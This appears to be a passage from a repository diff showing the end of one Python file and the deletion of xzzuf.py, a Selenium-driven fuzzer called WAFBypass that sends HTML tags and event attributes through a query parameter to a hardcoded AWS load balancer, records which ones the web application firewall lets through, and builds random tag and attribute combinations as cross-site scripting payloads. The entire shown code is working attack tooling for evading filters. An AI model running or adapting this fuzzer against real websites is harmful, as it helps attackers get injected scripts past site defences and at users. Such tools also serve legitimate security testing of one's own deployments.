triggered = self.triggered_xss
if triggered:
print(f"XSS Payload: {payload}")
except KeyboardInterrupt:
print("Stopping fuzzer")
self.driver.close()
return
w = WAFBypass(
"http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2")
w.test()

181
xzzuf.py
View File

@ -1,181 +0,0 @@
from urllib.parse import unquote
import selenium
import time
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from urllib.parse import urlparse
from urllib.parse import urlencode
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
from mutations import Mutations
from utils import choice
# WAFBypass class
class WAFBypass():
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
def __init__(self, url) -> None:
self.options = webdriver.ChromeOptions()
self.options.add_argument('--no-sandbox')
self.options.add_argument('--headless')
self.unfiltered_attributes = {}
self.unfiltered_tags = []
self.driver = webdriver.Chrome(options=self.options)
self.url = urlparse(url)
self.mutator = Mutations()
if not self.check_connection():
raise Exception("Connection Error")
self.driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
def check_connection(self):
try:
self.driver.get(self.url.geturl())
return True
except:
return False
def wait_for_pageload(self):
try:
WebDriverWait(self.driver, 4).until(
lambda driver: driver.execute_script("return document.readyState") == "complete")
except TimeoutError:
raise Exception("Page Load Error")
def get_page_title(self):
return self.driver.title
@property
def is_403(self):
return self.driver.title == "403 Forbidden"
@property
def triggered_xss(self):
return self.driver.execute_script("return window.alert_trigger")
def navigate(self, url):
self.driver.get(url)
self.wait_for_pageload()
is403 = False
if self.is_403:
is403 = True
else:
is403 = False
triggerxss = self.triggered_xss
return (is403, triggerxss)
def identify_unfiltered_attributes(self):
try:
self.unfiltered_attributes["global"] = []
self.unfiltered_attributes["events"] = []
self.unfiltered_attributes["tag_specific"] = {}
for attr in GlobalAttributes:
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["global"].append(attr)
for attr in EventsAttributes:
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["events"].append(attr)
for tag in self.unfiltered_tags:
try:
for attr in TagSpecificAttributes[tag.name]:
if tag not in self.unfiltered_attributes["tag_specific"]:
self.unfiltered_attributes["tag_specific"][tag.name] = [
]
encoded = urlencode(
{"param2": f"<{tag.name} {attr}/>"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["tag_specific"][tag.name].append(
attr)
except KeyError:
print(f"Tag {tag.name} not found in TagSpecificAttributes")
except KeyboardInterrupt:
self.driver.close()
exit(0)
def identify_unfiltered_tags(self):
try:
for tag in Tags:
encoded = urlencode({"param2": f"{tag}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_tags.append(tag)
except KeyboardInterrupt:
self.driver.close()
exit(0)
def dry_run(self):
try:
self.identify_unfiltered_tags()
self.identify_unfiltered_attributes()
for tag in self.unfiltered_tags:
tag.set_mutator(self.mutator)
except Exception as e:
raise Exception(f"Dry Run Error: {e}")
def run_fuzz(self):
self.dry_run()
def test(self):
try:
self.dry_run()
print("Unfiltered Tags:")
for tag in self.unfiltered_tags:
print(tag.name)
for _ in range(0, 10):
tag = choice(self.unfiltered_tags)
tag.attributes = []
tag.children = []
nglobattr = choice(range(1, 3))
nattr = choice(range(0, 3))
globals = self.unfiltered_attributes["global"]
for _ in range(0, nglobattr):
if len(globals) == 0:
break
attr = choice(globals)
globals.remove(attr)
tag.add_attribute(attr)
tag.add_attribute(choice(self.unfiltered_attributes["events"]))
tag_specific = self.unfiltered_attributes["tag_specific"][tag.name]
for _ in range(0, nattr):
if len(tag_specific) == 0:
break
attr = choice(tag_specific)
tag_specific.remove(attr)
tag.add_attribute(attr)
print(tag)
except KeyboardInterrupt:
self.driver.close()
exit(0)
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
w.test()